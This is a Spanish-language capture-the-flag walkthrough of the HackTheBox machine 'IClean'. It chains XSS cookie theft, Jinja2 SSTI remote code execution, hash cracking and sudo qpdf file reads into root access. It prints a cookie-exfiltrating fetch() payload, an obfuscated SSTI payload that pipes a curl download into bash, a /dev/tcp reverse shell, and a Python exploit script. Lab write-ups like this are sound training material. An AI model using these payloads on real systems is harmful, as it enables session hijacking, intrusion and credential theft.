IClean – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
IClean
es una máquina de dificultad media basada en Linux
de la plataforma HackTheBox
. Luego de un scan inicial sobre los puertos TCP
, éstos muestran que la máquina víctima está corriendo un servidor web. Este sitio web muestra un servicio de limpieza. Dentro de todas las opciones disponibles que esta página web ofrece, somos capaces de hacer una petición a un servicio la cual es vulnerable a Cross Site Scripting
(XSS
); lo cual nos permite robar una cookie y performar un ataque de Session Hijacking
(secuestro de sesión). Con la cookie robada somos capaces de acceder a un Admin Dashboard
. Una vez dentro de este dashboard, uno de los servicios dentro de este es vulnerable a Server Side Template Injection
(SSTI
), lo cual nos permite obtener un acceso inicial a la máquina víctima como el usuario www-data
. Una vez dentro, encontramos credenciales para un servicio MySQL
que está corriendo internamente en la máquina víctima, el cual expone hashes de distintos usuarios. Afortunadamente, uno de estos hashes es crackeable a través de un ataque Brute Force Password Cracking
(crackear la contraseña por fuerza bruta). Esto nos habilita para loguearnos por medio de SSH
con estas nuevas credenciales como un nuevo usuario. Una vez dentro como este nuevo usuario, vemos que éste puede correr el binario qpdf
(una herramienta que trabaja con archivos PDF
) con sudo
, el cual nos permite leer archivos restringidos que sólo el usuario root
podría leer; entre ellos somos capaces de leer el archivo id_rsa
(SSH
key), copiarla en nuestra máquina de atacantes y conectarnos a la máquina víctima vía SSH
como el usuario root
.
User / Usuario Link to heading
Empezamos con un scan con Nmap
buscando puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.12
El scan de Nmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.12 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 21:17 -04
Nmap scan report for 10.10.11.12
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds
Visitando http://10.10.11.12
redirige al dominio https://capiclean.htb
. De manera que lo agrego a mi archivo /etc/hosts
:
❯ echo '10.10.11.12 capiclean.htb' | sudo tee -a /etc/hosts
10.10.11.12 capiclean.htb
Ahora podemos visitar la página web http://capiclean.htb
. La página muestra un servicio que limpia casas:
Usando WhatWeb
noto que el servidor web está usando Flask
:
❯ whatweb http://capiclean.htb
http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@capiclean.htb], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.10.11.12], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]
Existe un panel de login en el directorio /login
. Si nos intentamos loguear con credenciales por defecto como admin:admin
o guest:guest
no funciona.
En este punto decido buscar por directorios performando un Brute Force Directory Listing
(listado de directorios por fuerza bruta) con la herramienta Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://capiclean.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 5267]
/login (Status: 200) [Size: 2106]
/services (Status: 200) [Size: 8592]
/team (Status: 200) [Size: 8109]
/quote (Status: 200) [Size: 2237]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 189] [--> /]
/choose (Status: 200) [Size: 6084]
/server-status (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Noto que tenemos un directorio /dashboard
, pero muestra código de estado 320
(Temporarily Moved
/Temporalmente Movido
). De manera que sospecho que sí podemos loguearnos en este directorio si obtenemos una cuenta.
Scroleando hacia abajo de la página, puedo ver un botón de Get a Quote
:
Clickeando en éste redirige a http://capiclean.htb/quote
:
Acto seguido, intercepto la petición enviada cuando clickeo en el botón Submit
utilizando Burpsuite
. Luego de algunos intentos, noto que si seleccionamos la opción Carpet Cleaning
, Tile & Grout
y Office Cleaning
se agrega un parámetro llamado service
; de manera que la petición se ve como:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40test.com
Envío esta petición al Repeater
dentro de Burpsuite
, donde empezamos a jugar con los parámetros service
e email
. Luego de algunos intentos, en el parámetro service
para ser específicos, pruebo con uno de los siguientes payloads:
<img src="http://<IP-Atacante>:<puerto-en-escucha>";>
Para esto empiezo un listener con netcat
en el puerto 8000
:
❯ nc -lvnp 8000
listening on [any] 8000 ...
Eventualmente, la petición que funciona en Burpsuite
es la siguiente:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3d"http%3a//10.10.16.3%3a8000"%3b>&email=test@test.com
donde 10.10.16.3
es mi IP de atacante y 8000
es el puerto el cual estoy en escucha con netcat
.
En mi listener con netcat
, luego de algunos segundos enviada la petición, obtengo algo:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42592
GET / HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Donde veo que estamos obteniendo una petición por Get
. Intento entonces obtener la cookie del usuario que está haciendo la petición (a través de un ataque Cross Site Scripting
, o XSS
) usando el payload:
<img src=x onerror=fetch("http://<IP-Atacante>:<puerto-en-escucha>/"+document.cookie);>
de manera que la petición en Burpsuite
se ve como:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3dx+onerror%3dfetch("http%3a//10.10.16.3%3a8000/"%2bdocument.cookie)%3b>&email=test@test.com
y en mi listener con netcat
obtengo:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42978
GET /session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
donde puedo ver una cookie:
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
De manera que esta cookie puede que funciona en el sitio que habíamos hallado. Vuelvo entonces al directorio http//capiclean.htb/login
y en mi navegador Firefox
presiono Ctrl+Shift+I
y luego voy a la pestaña de Storage
(almacenamiento). Allí agrego una cookie con nombre session
y, como valor, agregamos la cookie previamente hallada:
Luego, cambio la url a http://capiclean.htb/dashboard
y recargo el sitio. Ahora podemos ver más opciones en el sitio web:
donde, además, puedo ver que el título del sitio es Admin Dashboard
. De manera que hemos performado exitosamente un ataque de Session Hijacking
(secuestro de sesión).
Aparentemente este nuevo sitio web genera nuevas peticiones para el servicio de limpieza. Si clickeo en la opción Generate Invoice
puedo ver un panel el cual relleno con unos datos aleatorios:
Clickeando en Generate
genera un Invoice ID
, en mi caso: 4643878681
Luego, volviendo a /dashboard
puedo ver un botón de Generate QR
el cual redirige a la url http://capiclean.htb/QRGenerator
. Pongo mi Invoice ID
generado en el campo disponible:
Clickeando en Generate
genera un QR Code Link
. En la parte inferior puedo ver el texto Insert QR Link to generate Scannable Invoice
(inserte el código QR para generar una factura escaneable). Si pongo el link del código QR generado, el cual en mi caso es http://capiclean.htb/static/qr_code/qr_code_4643878681.png
éste me redirige a otra página web la cual muestra los detalles del servicio contratado:
…bastante caro.
Aquí vuelvo al directorio /QRGenerator
, donde decido interceptar la petición que se realiza en Insert QR Link
utilizando nuevamente Burpsuite
. Tenemos una petición que se ve como la siguiente:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_4643878681.png
Recuerdo que hace algún tiempo atrás también resolví una máquina corriendo Flask
llamada HTB Late
. Esta máquina era vulnerable a Server Side Template Injection
(SSTI
), de manera que decidí probar si esta máquina era vulnerable también. En el campo qr_link
de la petición anterior, cambio su valor a {{7*7}}
. En Burpsuite
envío entonces el payload:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}
y en la respuesta obtengo:
<SNIP>
</main>
<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
</body>
</html>
<SNIP>
donde puedo ver 49
(el resultado de 7*7
).
Si cambio el payload a {{9*9}}
obtengo 81
y así… De manera que asumo que la aplicación es vulnerable a SSTI
y que, además, está usando Jinga
. Para la máquina HTB Late
recuerdo que use algunos payload de ejemplo de HackTricks para inyectar comandos. No obstante, en este caso no fue tan fácil. Leyendo este post, el cual proveía más payload de ejemplo para Jinga
, y también en HackTricks se muestra cómo inyectar un payload bypasseando algunos caracteres. Finalmente tenemos el payload:
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
el cual he sacado del blog mencionado anteriormente.
Mi plan es simple:
- Exponer un archivo malicioso llamado
rev.sh
en un serverHTTP
temporal conPython
en el puerto8000
. - Empezar un listener con
nc
en el puerto443
. - Enviar un payload malicioso aprovechando la vulnerabilidad
SSTI
para ejecutar el script expuesto en mi server en mi puerto8000
. - El script malicioso enviará una reverse shell a mi listener con
nc
.
Para esto primero creamos un simple script en Bash
el cual nos enviará una reverse shell cuando sea ejecutado en la máquina víctima:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
y llamamos al archivo rev.sh
Segundo, expongo un servidor temporal en mi puerto 8000
seteando un servidor temporal HTTP
en Python
:
❯ chmod +x rev.sh # nunca olvidar dar permisos de ejecuccion a los scripts
❯ ls && python3 -m http.server 8000
rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Modficamos el payload a enviar y lo adaptamos. En mi caso cambio la IP de atacante(la cual es 10.10.16.3
), el puerto (8000
, el puerto con mi servidor temporal expuiesto) y cambio el nombre del payload de revshell
a rev.sh
. Empiezo un listener con netcat
en el puerto 443
. Luego, en Burpsuite
, envío el payload/petición:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10.10.16.3%3a8000/rev.sh|bash")|attr("read")()}}
Al correr esto y los pasos descritos anteriormente deberíamos obtener una shell en nuestro listener con netcat
.
(Opcional) Adicionalmente decido crear un script en Python
el cual nos enviará una reverse shell en caso de que necesitamos volver a ganar acceso rápidamente a la máquina víctima:
#!/usr/bin/python3
import requests
import sys
import argparse
default_cookie: str = 'eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU'
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description='Reverse Shell to "HackTheBox IClean" machine.')
# Add arguments
parser.add_argument('-i', '--ip', type=str, help='Your attacker Ip to connect from the target machine', required=True)
parser.add_argument('-p', '--port', type=int, help='Listening port to get reverse shell', required=True)
parser.add_argument('-c', '--cookie', type=str, help=f'Cookie found from XXS. Only change this value if the cookie is different from {default_cookie!r}',
default=default_cookie)
# Return arguments
return parser.parse_args()
def make_request_server(args: argparse.Namespace)->None:
url = "http://capiclean.htb:80/QRGenerator"
cookies_value = {"session": args.cookie}
generic_header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://capiclean.htb",
"DNT": "1", "Connection": "close", "Referer": "http://capiclean.htb/QRGenerator",
"Upgrade-Insecure-Requests": "1"}
payload: str = f"{{{{request|attr(\"application\")|attr(\"\\x5f\\x5fglobals\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fbuiltins\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fimport\\x5f\\x5f\")(\"os\")|attr(\"popen\")(\"bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'\")|attr(\"read\")()}}}}"
post_data = {"invoice_id": '', "form_type": "scannable_invoice", "qr_link": payload}
requests.post(url, headers=generic_header, cookies=cookies_value, data=post_data)
return
def main()->None:
# Get arguments from user
args = parse_arguments()
# Make the reverse shell request
make_request_server(args)
if __name__ == "__main__":
main()
Esto lo hago porque hay veces que pierdo conexión con la máquina víctima por X razón y si quiero volver a ganar acceso a ella es sólo volver a correr un comando en mi terminal, como veremos a continuación.
Por ejemplo, para ejecutar este script podríamos correr:
❯ python3 connect_to_server.py -i 10.10.16.3 -p 443
Corriendo cualquiera de estas dos opciones (exponer el servidor HTTP
con el archivo rev.sh
o usar el script en Python
) me da una reverse shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 46446
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data
En el directorio /opt/app
puedo ver un archivo app.py
. Dentro de éste puedo leer algo interesante:
<SNIP>
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
<SNIP>
- Revisando los puertos internos abiertos dentro de la máquina víctima encuentro el puerto
3306
. Esto indica que, tal cual hemos encontrado anteriormente, podemos tener una base de datos usandoMySQL
corriendo:
www-data@iclean:/opt/app$ ss -ntlp
ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 10 127.0.0.1:45495 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("python3",pid=1206,fd=4))
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Me puedo conectar a la base de datos MySQL
con estas credenciales, pero la terminal en sí es demasiado lenta. Para ello podemos usar la flag -e
junto con el comando mysql
para enviar comandos desde la terminal y arreglar este pequeño problema:
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
capiclean
information_schema
performance_schema
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_capiclean
quote_requests
services
users
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'
mysql: [Warning] Using a password on the command line interface can be insecure.
id username password role_id
1 admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 21232f297a57a5a743894a0e4a801fc3
2 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa ee11cbb19052e40b07aac0ca060c23ee
Vemos que dentro de la base de datos capiclean
y dentro de la tabla users
hay algunos usuarios y contraseñas, las cuales son unos hashes.
Podemos tratar de performar un ataque Brute Force Password Cracking
(crackear las contraseñas por fuerza bruta) con la herramienta JohnTheRipper
(john
) contra estos hashes. Guardo estos hashes en un archivo llamado simplemente hashes
:
❯ cat hashes
admin:2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela:0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
y trato de crackearlos:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes --format=raw-sha256
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (consuela)
1g 0:00:00:01 DONE (2024-05-25 00:01) 0.6535g/s 9374Kp/s 9374Kc/s 11837KC/s """anokax"..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
de manera que tenemos credenciales: consuela:simple and clean
.
Chequeo con NetExec
si estas credenciales funcionan para conectarnos via SSH
a la máquina víctima:
❯ netexec ssh 10.10.11.12 -u 'consuela' -p 'simple and clean'
SSH 10.10.11.12 22 10.10.11.12 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.12 22 10.10.11.12 [+] consuela:simple and clean (non root) Linux - Shell access!
y funcionan.
De manera que podemos simplemente conectarnos via SSH
como el usuario consuela
:
❯ sshpass -p 'simple and clean' ssh -o stricthostkeychecking=no consuela@10.10.11.12
Warning: Permanently added '10.10.11.12' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 25 04:05:26 AM UTC 2024
Expanded Security Maintenance for Applications is not enabled.
3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
consuela@iclean:~$
donde podemos obtener la flag de usuario en el directorio home de consuela
.
Root Link to heading
Revisando qué es lo que puede correr este usuario con sudo
tenemos:
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
de manera que este usuario puede correr QPDF
con sudo
.
Buscando what is qpdf linux
(qué es qpdf
linux) en Google retorna:
En resumen, es una herramienta para trabajar con PDFs.
Mirando la documentación de QPDF tenemos la flag --qpdf
la cual le dice a QPDF
que debe producir un QDF
file, el cual es un formato más legible para los humanos de un PDF (intenten leer un PDF en una consola y verán a qué me refiero con “legible”). Este formato es usualmente usado para debugging o editar archivos PDF manualmente. Una de las funciones que posee esta herramienta es que nos permite adjuntar un archivo a otro; en este caso podemos intentar con archivos los cuales sólo el usuario root
pueda tener acceso, por ejemplo, /etc/shadow
. Luego, la flag --empty
crea un archivo vacío. Finalmente, tenemos que nombrar el archivo de output/resultante. De manera que corro el comando:
consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /etc/shadow -- --empty /tmp/shadow
Podemos entonces revisar si el archivo /tmp/shadow
que ha sido creado:
consuela@iclean:~$ ls -la /tmp
total 80
<SNIP>
drwx------ 8 games games 4096 May 25 04:18 puppeteer_dev_chrome_profile-XXXXXXlBvpBX
-rw-r--r-- 1 root root 2318 May 25 04:18 shadow
drwx------ 3 root root 4096 May 25 01:11 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-apache2.service-BfaArY
drwx------ 3 root root 4096 May 25 03:06 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-fwupd.service-sb0OkN
<SNIP>
y se ha creado. Son buenas noticias.
Podemos leer entonces este archivo:
consuela@iclean:~$ cat /tmp/shadow
%PDF-1.3
%
%QDF-1.0
<SNIP>
root:$y$j9T$s0AIwd7onN6K77K5v8DNN/$bSd333U5BKvkfCPEGdf9dLl3bOYwqOlFNtGZ1FQQuv/:19774:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
<SNIP>
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19605:0:99999:7:::
consuela:$y$j9T$kcli/RCzquedZVyk0783m/$8KhTzkFppH2THx1k0SuUcjSP4jFXNl6HokF4MKwFr60:19605:0:99999:7:::
lxd:!:19605::::::
snapd-range-524288-root:!:19605::::::
snap_daemon:!:19605::::::
<SNIP>
de manera que funcionó.
Podríamos tratar de crackear la contraseña extraída del archivo /etc/shadow
. Pero antes de intentar aquello, dado que el puerto SSH
está abierto, puede que exista un archivo /root/.ssh/id_rsa
(SSH key). De manera que repetimos el comando anterior, pero esta vez copiando el archivo /root/.ssh/id_rsa
para el usuario root
(rezando que éste exista):
consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty /tmp/id_rsa
consuela@iclean:~$ cat /tmp/id_rsa
%PDF-1.3
%
%QDF-1.0
<SNIP>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
<SNIP>
y funcionó.
Guardo esta SSH
key en mi máquina de atacante con nombre de archivo id_rsa_root
, y luego procedo a correr:
❯ chmod 600 id_rsa_root
❯ ssh -i id_rsa_root root@10.10.11.12
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 25 04:24:41 AM UTC 2024
Expanded Security Maintenance for Applications is not enabled.
3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@iclean:~# whoami
root
donde finalmente podemos obtener la flag del usuario root
en el directorio /root
.
~Happy Hacking